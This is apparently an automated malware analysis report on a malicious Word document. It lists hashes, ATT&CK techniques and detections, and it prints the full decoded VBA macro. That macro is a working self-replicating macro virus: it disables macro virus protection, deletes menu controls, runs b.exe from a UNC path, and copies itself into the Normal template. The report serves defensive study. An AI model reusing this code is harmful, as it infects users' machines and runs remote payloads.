Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d1efdf7a0f5dd55…

MALICIOUS

Office (OLE)

62.5 KB Created: 2011-05-18 09:03:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 1908e8c70479b33ebf42798588ff9490 SHA-1: 3d46ac0c8952560025dfc2f57c0b377220ed1bf1 SHA-256: 3d1efdf7a0f5dd55564bbf3b716804792f3c796c1cc39f7bb9b0594c77932efa
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros that attempt to disable macro security settings and execute a file named 'b.exe' from a UNC path '\jdq\cc$\'. The macro also exhibits self-replication behavior, indicating an attempt to spread or persist. This strongly suggests the document is a malicious loader designed to download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("\\jdq\cc$\b.exe")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2458 bytes
SHA-256: 702e967dd9c7e3453181976587cb8107c4c8e024df1cf082a75df7075651e69b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
    
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.